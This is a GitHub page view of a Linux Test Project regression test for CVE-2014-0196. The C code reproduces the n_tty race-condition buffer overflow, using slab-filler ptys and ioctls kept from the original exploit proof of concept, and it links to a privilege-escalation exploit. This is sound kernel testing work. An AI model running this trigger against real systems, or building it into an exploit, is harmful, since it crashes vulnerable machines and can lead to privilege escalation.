-
Notifications
You must be signed in to change notification settings - Fork 1.1k
Expand file tree
/
Copy pathcve-2014-0196.c
More file actions
153 lines (125 loc) · 3.92 KB
/
cve-2014-0196.c
File metadata and controls
153 lines (125 loc) · 3.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
* Original POC by Matthew Daley <mattd@bugfuzz.com>
*/
/*\
* Test for CVE-2014-0196, which was fixed in kernel v3.15:
* 4291086b1f08 ("n_tty: Fix n_tty_write crash when echoing in raw mode").
*
* This test attempts to cause a buffer overflow using the race condition
* described in CVE-2014-0196. If the test is successful in causing an
* overflow it will most likely result in an immediate Oops, restart or
* freeze. However if it overwrites memory not accessed during the test then
* it could happen at a later time or not at all which is more likely if SLAB
* randomization has been implemented. However as it currently stands, the test
* usually crashes as soon as the delay has been calibrated.
*
* To maximise the chances of the buffer overflow doing immediate detectable
* damage the SLAB filler sockets and ioctls from the original exploit POC
* have been kept even though they are not strictly necessary to reproduce the
* bug.
*
* Further details see privilege escalation POC
* https://www.exploit-db.com/exploits/33516/.
*/
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <limits.h>
#include "tst_test.h"
#include "tst_timer.h"
#include "tst_safe_pthread.h"
#include "tst_fuzzy_sync.h"
#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS 30
#define BUFLEN 512
static volatile int master_fd, slave_fd;
static int filler_ptys[ONEOFF_ALLOCS * 2];
static int target_ptys[RUN_ALLOCS * 2];
static char buf[BUFLEN];
static void *overwrite_thread_fn(void *);
static struct tst_fzsync_pair fzsync_pair;
static void create_pty(int *amaster, int *aslave)
{
if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
tst_brk(TBROK | TERRNO, "pty creation failed");
}
static void setup(void)
{
int i;
fzsync_pair.exec_loops = 50000;
tst_fzsync_pair_init(&fzsync_pair);
for (i = 0; i < ONEOFF_ALLOCS; i++) {
create_pty(&filler_ptys[i],
&filler_ptys[i + ONEOFF_ALLOCS]);
}
}
static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED)
{
while(tst_fzsync_run_b(&fzsync_pair)) {
tst_fzsync_start_race_b(&fzsync_pair);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN);
tst_fzsync_end_race_b(&fzsync_pair);
}
return 0;
}
static void run(void)
{
struct termios t;
int j;
tst_res(TINFO, "Attempting to overflow into a tty_struct...");
tst_fzsync_pair_reset(&fzsync_pair, overwrite_thread_fn);
while (tst_fzsync_run_a(&fzsync_pair)) {
create_pty((int *)&master_fd, (int *)&slave_fd);
for (j = 0; j < RUN_ALLOCS; j++)
create_pty(&target_ptys[j],
&target_ptys[j + RUN_ALLOCS]);
SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, 1);
tcgetattr(master_fd, &t);
t.c_oflag &= ~OPOST;
t.c_lflag |= ECHO;
tcsetattr(master_fd, TCSANOW, &t);
tst_fzsync_start_race_a(&fzsync_pair);
SAFE_WRITE(SAFE_WRITE_ANY, master_fd, "A", 1);
tst_fzsync_end_race_a(&fzsync_pair);
for (j = 0; j < RUN_ALLOCS; j++) {
if (j == RUN_ALLOCS / 2)
continue;
ioctl(target_ptys[j], 0xdeadbeef);
ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
SAFE_CLOSE(target_ptys[j]);
SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
}
ioctl(master_fd, 0xdeadbeef);
ioctl(slave_fd, 0xdeadbeef);
SAFE_CLOSE(master_fd);
SAFE_CLOSE(slave_fd);
}
tst_res(TPASS, "Nothing bad happened, probably.");
}
static void cleanup(void)
{
int i;
tst_fzsync_pair_cleanup(&fzsync_pair);
for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
close(filler_ptys[i]);
close(master_fd);
close(slave_fd);
}
static struct tst_test test = {
.setup = setup,
.cleanup = cleanup,
.test_all = run,
.min_runtime = 60,
.tags = (const struct tst_tag[]) {
{"linux-git", "4291086b1f08"},
{"CVE", "2014-0196"},
{}
}
};